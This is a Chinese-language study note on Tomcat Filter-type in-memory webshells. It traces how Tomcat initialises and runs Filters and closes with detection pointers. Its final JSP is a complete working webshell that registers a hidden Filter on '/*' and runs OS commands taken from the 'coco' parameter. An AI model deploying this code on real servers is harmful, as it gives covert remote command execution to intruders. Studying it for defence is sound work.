Java安全笔记(3)-内存马之Filter型
Servlet
当处理请求的时候:请求 → Listener → Filter → Servlet
Listener
Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。
Filter
Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。
Servlet
Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。
Tomcat是http服务器+servlet容器,当Tomcat作为Servlet容器的时候,讲http请求文本解析之后封装成HttpServletRequest
类型的request对象,传递给Servlet,同时讲相应的信息封装为HttpServletResponse
类型的response对象,将response对象交给tomcat,tomcat格式化之后返回给浏览器
Tomcat
容器组件(Container)
Tomcat有四种类型的Servlet容器组件,从上到下:
- Engine:
org.apache.catalina.core.StandardEngine
- 最顶层容器组件,其下可以包含多个Host
- Host:
org.apache.catalina.core.StandardHost
- 一个Host代表一个虚拟主机,其下可以包含多个 Context。
- Context:
org.apache.catalina.core.StandardContext
- 一个Context 代表一个Web应用,其下可以包含多个 Wrapper
- Wrapper:
org.apache.catalina.core.StandardWrapper
- 一个Wrapper 代表一个Servlet
每个Host下可以有多个Context(Context是Host的子容器),每个Context都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的/shop/manager
这种,在一个 Context下可以有着多个Wrapper, Wrapper主要负责管理Servlet, 包括的Servlet的装载、初始化、执行以及资源回收
*Context
ServletContext
在javax.servlet.ServletContext
里面,Servlet规定了ServletContext
接口:
ApplicationContext
在org.apache.catalina.core.ApplicationContext
里面,ApplicationContext
类是ServletContext
的接口实现,ApplicationContext
类的实例和StandardContext
的每个实例相关联,比如向StandardContext
实例添加fiterDef
等
StanderContext
org.apache.catalina.Context
的默认标准实现为org.apache.catalina.core.StandardContext
,表示每一个web应用
Tomcat下Filter的实现逻辑
Filter的初始化
在IDEA里面新建项目之后新增测试代码:
//TestFilter.java
package basic;
import javax.servlet.*;
import java.io.IOException;
public class TestFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter Exec init");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Filter Exec doFilter");
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
}
//TestServlet.java
package basic;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet(name = "TestServlet", urlPatterns = {"/TestServlet"})
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException{
PrintWriter out = response.getWriter();
out.println("Hello GET~");
out.flush();
out.close();
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException{
PrintWriter out = response.getWriter();
out.println("Hello POST~");
out.flush();
out.close();
}
}
然后在web.xml
里面新增Filter的配置项:
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>basic.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/TestServlet</url-pattern>
</filter-mapping>
在web.xml这个文件里面,<filter></filter>
标签其实对应的就是org.apache.tomcat.util.descriptor.web.FilterDef
,<filter-mapping></filter-mapping>
标签对应的是org.apache.tomcat.util.descriptor.web.FilterMap
在StandardContext
类中的startInternal方法里可以看到这样的加载顺序:
先启动listener,再者是Filter,最后是Servlet。详细分析filterStart中是如何加载Filter链的,相关代码如下图所示:
首先通过遍历从filterDefs中获取key和value,将value封装为ApplicationFilterConfig
对象放入filterConfigs
变量中。
然后在StandardContext
的add方法下断点:
Tomcat会先在ContextConfig.java
里面从web.xml
读取已定义的Filter,然后加入到StandardContext
的实例化context
里面:
上面的两个方法都在StandardContext
里面:
接着是org.apache.catalina.core.StandardContext#filterStart
根据已有的filterDefs
,遍历之后存储到filterConfigs
里面:
经过上面几个步骤的处理,tomcat启动初始化完成,把web.xml里面的Filter包装好之后放在了StandardContext
。
总结来说是这几个步骤:
- 我们在代码里面定义好Filter的处理逻辑
- Tomcat根据web.xml的配置包装成FilterDef和FilterMap,分别添加到filterDefs和filterMaps,这两个对象的定义都在
org.apache.tomcat.util.descriptor.web
包里面 - 遍历
filterDefs
对象使用ApplicationFilterConfig
对value进行封装,封装之后的对象放入filterConfigs
中 - 这个时候在
StandardContext
里面有三种对象初始化完成:FilterDefs
、Filterconfigs
、FilterMaps
PS: 再这个阶段Tomcat会运行Filter里面的代码
Filter的运行逻辑
以上是Tomcat启动过程,回到上面讲的tomcat容器组件关系图, 在容器组件结构中最底层的是org.apache.catalina.core.StandardWrapper
,在对应的源代码里面可以看到构造函数:
/**
* Create a new StandardWrapper component with the default basic Valve.
*/
public StandardWrapper() {
super();
swValve=new StandardWrapperValve();
pipeline.setBasic(swValve);
broadcaster = new NotificationBroadcasterSupport();
}
在org.apache.catalina.core.StandardWrapperValve#invoke
里面调用了Filter相关的逻辑代码:
此时发起一个Get请求,打断点跟进org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
:
到最后返回了filterChains对象,接着返回执行filterChain.doFilter(request.getRequest(), response.getResponse());
:
跟进之后会进入到org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
:
跟进之后进入我们自定义的Filter逻辑里面去:
来自宽字节师傅的总结图:
来自大木头师傅的总结:
- 根据请求的URL从FilterMaps中找出与之URL对应的Filter名称
- 根据Filter名称去FilterConfigs中寻找对应名称的FilterConfig
- 找到对应的FilterConfig之后添加到 FilterChain中,并且返回FilterChain
- filterChain中调用 internalDoFilter遍历获取 chain 中的 FilterConfig ,然后从FilterConfig中获取Filter,然后调用Filter的doFilter方法
至此Filter的处理流程分析完成,主要分两个大部分,Filter的初始化和Filter的运行逻辑,如果要在tomcat里面插入Filter类型的木马,首先需要在代码里面完成Filter初始化的流程:
- 创建恶意Filter
- 使用FilterDef对Filter包装
- 将FilterDef加入到
FilterDefs
,遍历FilterDefs
包装为FilterConfigs
- 创建FilterMap,将Filter和urlpattern对应,存放到
filterMaps
- 把创建的
FilterDefs
、Filterconfigs
、FilterMaps
放到StandardContext
创建内存马
为了获取到StandardContext
对象,我们需要先搞清楚这个对象在整Tomcat里面的结构位置:StandardContext
–> ApplicationContext
–> ApplicationContextFacade
从最上层开始在org.apache.catalina.core.ApplicationContextFacade
可以找到ApplicationContext
:
根据学到的反射原理和网上大部分Filter类型的内存马,调试如下的代码:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String filterName = "coco";
//获取ApplicationContextFade对象,ApplicationContextFade是ServletContext的实现,所以其实是ServletContext对象
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = null;
try {
appctx = servletContext.getClass().getDeclaredField("context"); //从ApplicationContextFade获取context,这里context是指ApplicationContext
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //获取ApplicationContext
out.write("success");
%>
最开始的代码是ServletContext servletContext = request.getSession().getServletContext();
,如果看了org.apache.catalina.core.ApplicationContextFacade
就明白这里是一个servletContext
对象的实现,所以使用servletContext
来表示,接下来就是通过反射获取ApplicationContextFacade
的私有变量context
,实际上就是ApplicationContext
,然后同样的方法去ApplicationContext
通过反射获取StandardContext
:
完整代码:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
try{
//获取ApplicationContextFade对象,ApplicationContextFade是ServletContext的实现,所以其实是ServletContext对象
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = null;
try {
appctx = servletContext.getClass().getDeclaredField("context"); //从ApplicationContextFade获取context,这里context是指ApplicationContext
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //获取ApplicationContext
Field standCtx = applicationContext.getClass().getDeclaredField("context");
standCtx.setAccessible(true);
StandardContext standardContext = (StandardContext) standCtx.get(applicationContext);
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("coco") !=null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("coco")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
//把创建好的filter包装为FilterDef对象
String filterName = "coco";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef); //调用addFilterDef加入到filterDefs
//创建FilterMap并且加入到filterMaps
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//从standardContext获取filterConfigs对象
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
//利用反射创建filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName,filterConfig);
out.write("success");
} catch (Exception e) {
e.printStackTrace();
}
%>
内存马的排查
参考天下大木头师傅,主要有两种排查方式:
采用字节码的方式
扫描获取已有的filter
https://github.com/c0ny1/java-memshell-scanner
通过反射获取StandardContext里面所有的filter, Filter/Servlet型内存马的扫描抓捕与查杀:
request.getSession().getServletContext() {ApplicationContextFacade}
-> context {ApplicationContext}
-> context {StandardContext}
* filterDefs
* filterMaps
* children
* servletMappings